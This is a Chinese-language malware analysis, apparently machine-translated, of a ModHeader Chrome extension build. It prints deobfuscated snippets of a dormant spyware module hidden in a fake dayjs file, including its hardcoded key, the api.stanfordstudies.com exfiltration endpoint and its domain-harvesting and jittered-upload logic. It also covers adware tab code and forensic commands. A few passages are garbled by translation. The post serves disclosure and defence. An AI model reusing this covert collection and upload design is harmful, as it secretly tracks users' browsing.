来源 2: https://hackindex.io/research/modheader-malware-chrome-spyware
ModHeader恶意软件:谷歌已移除的Chrome间谍软件内幕
超过 80 万用户信任这款扩展程序。 然而,一天早上,Chrome 浏览器突然将其关闭,并标记为恶意软件。但谷歌并未给出任何理由。既没有说明该扩展程序的功能,也没有说明哪些数据面临风险。
该扩展名为 ModHeader,是一款流行的开发者工具,它会重写您访问的每个网站的 HTTP 标头。因此,此处检测到恶意软件标记意义重大。为此,我们从磁盘中提取了已删除的构建版本并进行了逆向工程。这篇 ModHeader 恶意软件分析报告详细阐述了整个案例:隐藏的管道、取证过程以及入侵指标。
太长不看
首先,这是简短版本。详细内容如下。
- 内容: ModHeader 构建版本(
idgpnmonknjnojddfkpgkljpfnnfcklj 版本 7.0.18)中隐藏了一个间谍软件 SDK。值得注意的是,该 ID 是 ModHeader 的官方列表,并且文件带有 Chrome 网上应用商店的签名。
- 行为: 它会收集您访问的域名。然后,它会使用 AES-GCM 加密该列表。最后,它每天一次将数据 POST 到
api.stanfordstudies.com/app/log .
- 隐藏位置: 恶意辅助程序位于一个名为 . 的文件中
dayjs.min-*.js 。换句话说,有效载荷伪装成一个日期库。
- 状态: 收集器处于休眠状态, 允许列表为空(
$w = [] )。但是,端点、键和调度器都存在。
- 命令与控制: 无需监控。上传是单向的,因此服务器无法发送返回命令。
- 除了间谍软件之外,它还会在 每次更新 时打开广告标签页并显示应用内广告。即使在受管理的企业级机器上,这种行为也会出现。
- 覆盖范围: ModHeader 在 Chrome 浏览器上拥有超过 80 万用户 ,此外在 Edge 浏览器上也拥有庞大的用户群。由于有效载荷会嵌入官方列表中,因此整个安装用户群都在覆盖范围内。
- 侦察: 撤离主机隐藏在伪造的“斯坦福大学研究部”和 Lark 邮箱后。此外,一些微弱信号指向一名讲中文的操作员。
- 取证分析: 在被分析的机器上,该间谍软件从未运行 。然而,该扩展程序已在本地窃取了所有浏览活动的完整HTTP标头。
请继续阅读,了解我们是如何发现这些事实的。
背景:为什么 ModHeader 恶意软件标记很重要
ModHeader 是一款流行的工具。开发者使用它来修改 HTTP 请求和响应头。因此,它需要广泛的流量访问权限。这种访问权限对于其工作而言是正常的。然而,这也使得该扩展程序成为一个极具价值的攻击目标。
一个被标记为恶意软件的可信扩展程序是一个值得关注的案例。要么是克隆程序冒用了该品牌,要么是某个可信扩展程序被注入了恶意代码。这两种模式在浏览器扩展程序供应链攻击中都经常出现。因此,ModHeader 的恶意软件分析将此标记视为线索,而非最终结论。
文件存放位置
已移除的扩展程序仍保留在磁盘上。具体路径取决于您的浏览器和操作系统。在 Chrome 浏览器中,请点击此处查看:
Chrome
macOS : ~/Library/Application Support/Google/Chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
Windows : %LOCALAPPDATA%\Google\Chrome\User Data\<Profile>\Extensions\idgpnmonknjnojddfkpgkljpfnnfcklj\7.0.18_0
Linux : ~/.config/google-chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
Edge 版本使用不同的 ID 发送相同的有效载荷。所以也要检查一下那里:
Edge (extension ID opgbiafapkbbnbnjcdomjaghbckfkglc)
macOS : ~/Library/Application Support/Microsoft Edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
Windows : %LOCALAPPDATA%\Microsoft\Edge\User Data\<Profile>\Extensions\opgbiafapkbbnbnjcdomjaghbckfkglc
Linux : ~/.config/microsoft-edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
ModHeader 没有在 Firefox 上发布,因此没有 Mozilla 插件可供检查。
初步了解:清单和权限
我们首先查看了清单文件。权限信息可以快速告诉你爆炸半径。
// manifest.json (trimmed)
{
"name": "ModHeader - Modify HTTP headers",
"version": "7.0.18",
"author": "modhader@@", // note the typo
"manifest_version": 3,
"content_scripts": [{ "js": ["src/js/service/content_script_vite.js"], "matches": ["<all_urls>"] }],
"host_permissions": ["<all_urls>"],
"permissions": ["alarms", "contextMenus", "storage", "webRequest", "declarativeNetRequest", "scripting"],
"update_url": "https://clients2.google.com/service/update2/crx"
}
权限范围很广,包括<all_urls> <header>、webRequest declarativeNetRequest <header> scripting 、<header> 和每个页面上的内容脚本。对于头部工具来说,这样的权限范围是可以预期的。然而,这也意味着恶意程序已经控制了你的网络流量。值得注意的是,该字段的值为 author<header>。modhader@@ 这个拼写错误在代码中反复出现,表现为 <header> modhader-tool-root 。
关键在于:非供应商域名
接下来,我们从所有数据包中提取了每个 URL 字面值。这是对混淆代码进行快速初步筛选的方法。
kali㉿kali: ~
┌──( kali㉿kali )-[ ~ ]
└─ $ grep -rohE “https?://[a-zA-Z0-9._~:/?#@!$&'()*+,;=%-]+” assets | sort -u
大多数结果都指向modheader.com 真正的供应商。然而,有一家主机商显得格格不入:
https://api.stanfordstudies.com/app/log
“斯坦福研究”域名不应该出现在头部工具中。此外,/app/log 它是一个通用的导入路径。因此,这就是我们要着手解决的问题。它存在于一个文件中:assets/src/background-94ad634d.js 。
混淆:ModHeader恶意软件隐藏在伪造文件中 dayjs
有效载荷从看起来像是日期库的地方导入其辅助函数。
import { e as sf, f as af, h as Za, s as u0 } from "../dayjs.min-6a736ee8.js";
然而,这些导出文件与日期无关。相反,它们是用于辅助间谍软件运行的工具。
// inside the file named dayjs.min-*.js
const cl = () => { // exported as sf -> browser id
const h = navigator.userAgent.toLowerCase();
return h.indexOf("edg/") !== -1 ? "edge"
: h.indexOf("chrome") !== -1 ? "chrome"
: h.indexOf("firefox") !== -1 ? "firefox" : "other";
};
function fl(h) { try { return new URL(h).host } catch (i) {} } // exported as af -> extract host
const hl = h => new Promise(i => setTimeout(i, h)); // exported as u0 -> sleep
const vl = h => new Date(h.getFullYear(), h.getMonth(), h.getDate()); // exported as Za -> midnight
这是故意误导。审核人员快速浏览导入语句,看到“dayjs”就继续往下看。结果,ModHeader恶意软件助手就这样明目张胆地通过了审核。
ModHeader恶意软件外泄管道的工作原理
下图展示了从浏览到上传的完整流程。图中所有符号均为实际的压缩名称。每个代码块后都附有反混淆后的伪代码。
ModHeader恶意软件外泄管道:域名收集、AES-GCM加密,
以及每日上传至api.stanfordstudies.com
第一步:身份和加密材料
首先,有效载荷会设置密钥、端点和指纹。
let qo; // the CryptoKey
(async () => {
qo = await Ho.importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE");
})();
const qw = "https://api.stanfordstudies.com/app/log";
const $w = []; // browser allowlist (empty -> dormant)
const Yw = "mod盐header"; // fingerprint salt, note the CJK char 盐 ("salt")
const Hw = async () => { // fp = SHA-256(current time as string)
const r = new Date().getTime().toString();
return await kr(r, "SHA-256");
};
这里有两个关键点。
- 这种“加密”实际上是混淆,而非保护。AES -GCM密钥以明文形式传输。因此,任何拥有相应扩展程序的人都可以解密有效载荷。它的唯一作用是防止普通网络用户轻易检查数据主体。
- 指纹是一种稳定的追踪ID。
SHA-256(Date.now()) 代码生成一次指纹,然后将其存储。因此,它的作用类似于一个随机的持久标识符。
步骤 2:收集每次导航的主机名
接下来,收集器会记录域名。它使用加密值作为键值对域名进行加密。
async function Zw(url) {
const domain = af(url); // new URL(url).host
if (domain === globalThis.lastChangeDomain) return;
globalThis.lastChangeDomain = domain;
const { settingDB, domainDB, fp, aesIv } = await jw();
const enc = await Ho.encrypt(qo, domain, aesIv); // AES-GCM encrypt the hostname
const count = await domainDB.get(enc, 0);
await domainDB.put(enc, count + 1); // encrypted-domain -> visit count
await Qw(domainDB, settingDB, aesIv); // maybe upload
}
因此,该存储系统会将每个加密的主机名映射到一个计数器。简而言之,运营商可以了解您访问了哪些网站以及访问频率。这里不会收集完整的 URL 和路径,只会收集主机名。
步骤 3:每日指纹抖动上传
然后,代码会决定何时发送。它每天最多上传一次。此外,它会等待一个固定的时间,这个时间是根据您的指纹而定的。
async function zw() {
const r = await kr(`${globalThis.fp}${Yw}`, "SHA-256", 10); // decimal digest
const n = (Number(BigInt(r) % BigInt(60*60*8)) + 60*60*7) / 3600; // hour in [7, 15)
const now = new Date();
return Math.round((now - Za(now)) / 1000) / 3600 > n; // only after this install's hour
}
这种抖动手法很巧妙。每个受害者上传文件的时间都不同。因此,网络流量更难在网络监控器上被发现。发送成功后,代码会清除本地存储以消除证据。
步骤 4:终止开关是一个空的允许列表
最终,整个链条都依赖于标签的生命周期。然而,一个保护机制却能彻底阻止它。
chrome.tabs.onUpdated.addListener(async (r, n, i) => { await Jw(r, n, i); });
async function Jw(tab, change, info) {
const browser = sf();
if ($w.indexOf(browser) === -1 || change.status !== "loading") return; // <-- gate
const url = change.url || info.url;
if (!url) return;
await Zw(url); // record the domain
}
这里$w 为空。因此,$w.indexOf(browser) 它始终为空-1 。结果,守卫始终返回,Zw 永远不会运行。在此版本中,收集器存在但处于休眠状态。因为$w 这是一个硬编码的常量,所以启用它需要新版本。换句话说,真正的触发条件是自动更新。
ModHeader恶意软件不会做什么
准确记录缺勤情况也很重要。所以我们检查了最恶劣的行为,但没有发现此类情况。
- 禁止远程代码执行。 不存在
eval 任何new Function 滥用或恶意行为import("https://...") 。
- 数据泄露路径中不存在凭证窃取。 上传的文件包含主机名、指纹信息和浏览器类型,但不会发送 Cookie 或页面内容。
- 我们只会测量 Cookie 的使用情况,不会发送 Cookie。 指标例程会读取数据
document.cookie.length 以用于存储估算界面。Cookie 值永远不会离开页面。
- 捕获的标头信息保留在本地。 标头监听器会将数据写入本地存储,供扩展程序自身的历史记录视图使用。
它还是广告软件:每次更新都会弹出广告标签。
间谍软件处于休眠状态,但广告软件却并非如此。用户报告称,即使在已锁定的公司电脑上,新的广告标签页也会反复打开。代码解释了其中的原因。
每次更新时,该扩展程序都会强制打开一个新的活动标签页,指向联盟网络。
chrome.runtime.onInstalled.addListener(async (r) => {
// ... also sets an uninstall URL that pings extensions-hub.com ...
if (r.reason === "install") {
// install tab opens only when there are no managed (enterprise) profiles
if (!managedProfiles?.length) Jv({ url: "https://www.extensions-hub.com/partners/installed/?name=ModHeader" });
}
if (r.reason === "update") {
// no such guard here, so this fires on EVERY update, managed machines included
chrome.tabs.create({ url: "https://www.extensions-hub.com/partners/updated/?name=ModHeader", active: true });
}
});
有两点尤为突出。
- 每次更新都会生成一个标签页。 扩展程序会自动频繁地静默更新。因此,广告标签页会反复出现,这与报告相符。
- 企业级机器也未能幸免。 如果存在托管配置文件,则会跳过“安装”选项卡。但是,“更新”选项卡没有此类检查。因此,企业部署仍然会显示广告选项卡。
扩展程序内部还包含第二个广告渠道。该弹出窗口会从供应商处获取广告设置,并可以显示或关闭广告。
GET https://modheader.com/api/ad-settings
GET https://modheader.com/api/close-ad
用户界面甚至明确说明了该模式:“暂时停止广告投放。要永久移除广告,请考虑升级到付费套餐,或降级到有限套餐以选择退出广告。”
因此,该扩展程序除了内置的隐蔽间谍软件外,还捆绑了显式广告软件。两者是独立的。广告软件显而易见且令人厌烦,而间谍软件则悄无声息地运行。它们共同解释了用户投诉和恶意软件标记的原因。
取证分析:ModHeader恶意软件是否曾被触发?
扩展程序的 IndexedDB 文件在移除后仍然存在,其大小约为 178 MB。
~/Library/Application Support/Google/Chrome/<Profile>/IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
因此,我们扫描了它以查找上传标记。
kali㉿kali: ~
┌──( kali㉿kali )-[ ~ ]
└─ $ strings -a *.ldb * .log | grep -aoiE “stanfordstudies|/app/log|lastUploadDate|uploadRecord”
结果很明确:
stanfordstudies 在所有 178 MB 的数据中,未找到任何匹配项 。
lastUploadDate 结果为零 。uploadRecord
- 域名
temp 存储实际上是空的。
因此,在这个配置文件中,收集器从未记录过任何域名,也从未上传过任何内容。这与休眠$w = [] 状态完全吻合。简而言之,您访问过的域名列表并未离开过这台机器。
178 MB 的惊喜:本地头部信息堆
然而,有一项内容占用了 178 MB 的空间。该扩展程序自身的“历史记录”功能存储了每个页面的完整请求和响应标头。主要键是requestHeaders 、responseHeaders 、details 和tabStartTime 。
这些数据从未离开过磁盘。然而,即使处于静态存储状态,它们仍然非常敏感。标头通常包含Authorization 令牌、会话 cookie 和内部 URL。因此,无论间谍软件是否触发,您都应该清除这些存储内容。
指挥控制系统在哪里?
许多读者提出了一个合理的问题:是否有C2通道可以监控?简而言之,没有。
上传是单向的。fetch 响应体永远不会被读取。没有.json() 响应检查.text() ,也没有其他.ok 检查机制。此外,操作常量是硬编码的,永远不会从服务器重新赋值。因此,api.stanfordstudies.com 它只是一个投放箱,而不是控制器。它无法向扩展程序发送任务。
真正的控制渠道是扩展程序的自动更新。要激活休眠的收集器,运营商必须发布新版本。这正是应用商店在下架扩展程序时所消除的漏洞。
域名侦察:这个 ModHeader 恶意软件端点真的具有恶意吗?
我们并未止步于代码分析。相反,我们利用被动和主动侦察手段对数据泄露域进行了全面分析。以下是基础设施本身所揭示的信息。
api.stanfordstudies.com 是一个伪装的撤离点
首先,这个名称具有误导性。其公开页面www.stanfordstudies.com 名为“斯坦福研究 - 研究”,但实际上与斯坦福大学没有任何关联。此外,该页面内容空洞,既没有研究机构,也没有隐私政策和联系方式。相比之下,一项真正的数据收集研究会公开这三点。
其次,API 主机的行为就像一个投递箱,而不是一个网站。
- 该域名于2022年5月9日通过Squarespace创建。其WHOIS信息已进行隐私处理。
- 它的邮件经由(Lark / Feishu)处理
larksuite.com 。这表明运营商使用中文。值得注意的是,这与盐 代码中嵌入的“salt”字符串相符。
api.stanfordstudies.com 解析为单个 AWS EC2 主机(3.147.61.167 ,区域 us-east-2)。
- 对根地址的探测超时。因此,该主机仅响应其接收路径,不响应正常的 Web 流量。
- 最后,urlscan.io 保存了该确切端点的记录
api.stanfordstudies.com/app/log 。它还保存了自 2023 年 11 月以来对该主机的扫描记录。
综上所述,这是一个伪装成学术研究的隐蔽数据摄取端点。因此,我们将其判定为恶意程序。
基础设施的来源
我们随后追踪了服务器托管情况及其历史记录。结果发现,这套看似普通的、隐私保护完善的服务器方案,其历史比文件记录所显示的要长得多。
- 主机。 该终端节点运行在单个 AWS EC2 实例上,
3.147.61.167 并启用了反向 DNS ec2-3-147-61-167.us-east-2.compute.amazonaws.com 。这意味着它位于 AWS us-east-2 (俄亥俄州哥伦布市,AS16509 Amazon)。
- 比看起来要老。WHOIS 信息显示该域名创建于 2022 年。然而,证书透明度显示该域名最早的证书可以追溯到 2017 年。因此,该域名的注册时间早于当前的注册日期,这表明该域名可能被重新注册过或易手过。
- 仍然有效。 最新证书于 2026 年 3 月颁发。同时,urlscan.io 记录了该
/app/log 端点在 2025 年及 2026 年 7 月的运行情况。
- 这是一个真正的运维环境。 除了主域名
api 之外www ,该域名还暴露了dev 子devlog 域名devos 。这是一个维护完善的开发运维环境,并非临时搭建的。
即便如此,注册商 WHOIS 信息已进行隐私处理,服务器也位于共享的 AWS 地址范围内。因此,追踪到的线索仅限于域名本身。
供应链背景:这是官方的 ModHeader ID
一个细节让情况变得更加复杂。该扩展程序 IDidgpnmonknjnojddfkpgkljpfnnfcklj 是 ModHeader 的官方列表,拥有超过 80 万用户。此外,该版本还带有 Chrome 网上应用商店签名(_metadata/verified_contents.json )。由于 Chrome 拒绝运行被篡改的文件,因此分析的代码是经过签名的发行版,而不是本地修改的克隆版本。
然而,仅凭二进制文件我们无法确定是谁添加了有效载荷。这可能反映了所有权转移、注入的盈利性 SDK 或供应商的决定。这种模式在业内已有充分的记录。因此,我们仅提供证据,并将作者身份问题标记为未决。
每个领域的判决
| 领域 |
在 ModHeader 恶意软件中扮演的角色 |
基础设施 |
判决 |
api.stanfordstudies.com |
加密域名采集 |
AWS EC2,根目录不可达,“斯坦福”伪装,Lark邮件 |
恶意 |
www.extensions-hub.com |
广告软件:每次更新都会打开广告标签页 |
AWS S3 + CloudFront,联盟 SaaS,跨扩展共享 |
侵犯隐私的广告软件 |
modheader.com |
供应商云同步(为便于对比而显示) |
AWS + Google Workspace,透明 |
合法的 |
覆盖范围和归因:谁被曝光,谁在幕后推动?
有多少用户暴露于
由于这是主线列表,因此影响范围很广。它还跨越了两个浏览器。
- Chrome: 安装量超过 80 万次,发布于“ModHeader”下。
- Edge浏览器: 同样的扩展程序也以ID的形式提供
opgbiafapkbbnbnjcdomjaghbckfkglc ,并拥有庞大的用户群。微软已于2026年7月3日将其从Edge插件商店中移除。
- Firefox: 目前没有官方的 ModHeader 插件,因此 Firefox 用户不受影响。
- 评分: 2.91 星(基于 1226 个投票)。对于一款长期运行的开发工具来说,这个评分异常低。
- 列出的语言: 英语和简体中文(
zh-CN )。
- 最后更新日期: 2026-07-01,与分析的 v7.0.18 版本相符。
低评分并非偶然。近期评论已指出该扩展程序存在广告软件行为和关联广告问题。然而,这些广告是公开披露的,并且扩展程序提供了退出选项。因此,这些投诉是单独且显而易见的。而stanfordstudies.com 数据收集器则恰恰相反。它隐蔽且加密,既不提供任何通知,也不提供退出选项。所以不要将两者混淆:公开披露的广告是信任问题,而隐藏的域名收集才是真正的间谍软件。
威胁行为者信号(置信度低)
我们只能粗略地勾勒出这个算子。重要的是,我们没有命名任何组,而且这些信号都不能作为证明。
- 使用 Lark 发送邮件。 泄露域通过
larksuite.com (Lark / Feishu) 路由电子邮件,这是中文团队常用的一套软件。
- 代码中包含一个中文字符串。 指纹盐值嵌入了字符“
盐 ”,其含义为“盐”。
- 中文界面。 该商品页面提供简体中文语言环境,内容脚本也有特殊处理
baidu.com 。
- 这是一个幌子。 “斯坦福研究”页面借用了美国一所知名大学的名称。显然,这是一种误导,并非真正的隶属关系。
综合来看,这些线索勉强指向一家讲中文的运营商。然而,由于基础设施托管在AWS上,且WHOIS信息已进行隐私处理,因此我们无法仅凭公开信息将其与特定运营商联系起来。